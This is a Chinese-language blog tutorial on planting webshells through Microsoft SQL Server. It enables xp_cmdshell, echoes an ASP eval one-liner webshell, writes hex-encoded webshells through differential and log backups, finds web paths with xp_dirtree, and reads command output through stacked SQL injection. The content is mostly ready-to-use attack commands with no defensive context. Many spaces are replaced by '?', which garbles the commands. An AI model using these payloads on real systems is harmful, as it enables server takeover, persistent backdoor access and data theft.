SQL Server从0到1——写shell

2024-01-07 19:42:07

xp_cmdshell

查看能否使用xpcmd_shell;

select?count(*)?from?master.dbo.sysobjects?where?xtype?=?'x'?and?name?=??'xp_cmdshell'

直接使用xpcmd_shell执行命令:

EXEC?master.dbo.xp_cmdshell?'whoami'

?

发现居然无法使用

查看是否存在xp_cmdshell:

EXEC?sp_configure?'xp_cmdshell',?1;RECONFIGURE;

到现在我们知道了,这台mssql支持xp_cmdshell,但没有开启 xp_cmdshell:

启用:
EXEC?sp_configure?'show?advanced?options',?1
RECONFIGURE;
EXEC?sp_configure?'xp_cmdshell',?1;
RECONFIGURE;
关闭:
exec?sp_configure?'show?advanced?options',?1;
reconfigure;
exec?sp_configure?'xp_cmdshell',?0;
reconfigure;

?

执行命令:

EXEC?master.dbo.xp_cmdshell?'whoami'

?

可以看到这里已经有了system权限 主要找到web路径就可以使用cmd目录创建文件,获取web路径在后面有讲解

exec?master..xp_cmdshell?'echo?^<%@?Page??Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^>?>??c:\\666.asp';

注意:如果xp_cmdshell被删除了,需要自己上传xplog70.dll进行恢复

exec master.sys.sp_addextendedproc 'xp_cmdshell','C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll' 虽然是写shell,但是xp_cmdshell更多的是用来提权,具体原因其实思考一下就明白了。。。。

差异备份

生成备份文件:

backup?database?test?to?disk?=?'c:\bak.bak';--

创建表:

create?table?[dbo].[test]?([cmd]?[image]);

插入一句话:

insert?into?test(cmd)??values(0x3C25657865637574652872657175657374282261222929253E)

再次备份:

backup?database?test?to?disk='C:\567.asp'?WITH?DIFFERENTIAL,FORMAT;--

?

就会生成一个asp一句话

LOG备份

1.?alter?database?test?set?RECOVERY?FULL

2.?create?table?cmd?(a?image)

3.?backup?log?test?to?disk?=?'c:\test'?with?init

4.?insert?into?cmd?(a)?values?(0x3C25657865637574652872657175657374282261222929253E)

5.?backup?log?test?to?disk?=?'c:\test\2.asp'

#LOG备份的要求是他的数据库备份过,而且选择恢复模式得是完整模式

?

路径获取

由于要写webshell,那么必须知道web的路径

1.通过报错获取网站路径

?

2.使用xp_dirtree获取目录信息:

execute?master..xp_dirtree?'c:'?//列出所有c:\文件和目录,子目录
execute?master..xp_dirtree?'c:',1?//只列c:\文件夹
execute?master..xp_dirtree?'c:',1,1?//列c:\文件夹加文件

#一个一个慢慢找

?

3.通过xpcmd_shell:

exec?master..xp_cmdshell?'for?/r?c:\?%i?in?(i*.aspx)?do?@echo?%i'

?

avatar

回显问题:看到这里,可能有很多小伙伴会不耐烦的说,这是我在软件上执行的sql命令,并非真实注入,该如何回显出信息 其实我们观察这些payload就可以发现,这些命令并非查询语句,并不能与普通的sql语句在一个语句中, 因此想要回显就必须满足,服务器支持堆叠注入

接下来我们的思路就是创建一张临时表来接收命令执行返回的内容,然后我们在通过查临时表来获取数据

创建临时表:

CREATE?TABLE?tmpTable?(tmp1?varchar(8000));

将数据存入表中:

insert?into?tmpTable(tmp1)?exec?master..xp_cmdshell?'ipconfig'

获取数据:

select?*?from?tmpTable

?

?

文章来源:https://blog.csdn.net/2301_80520893/article/details/135336541
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。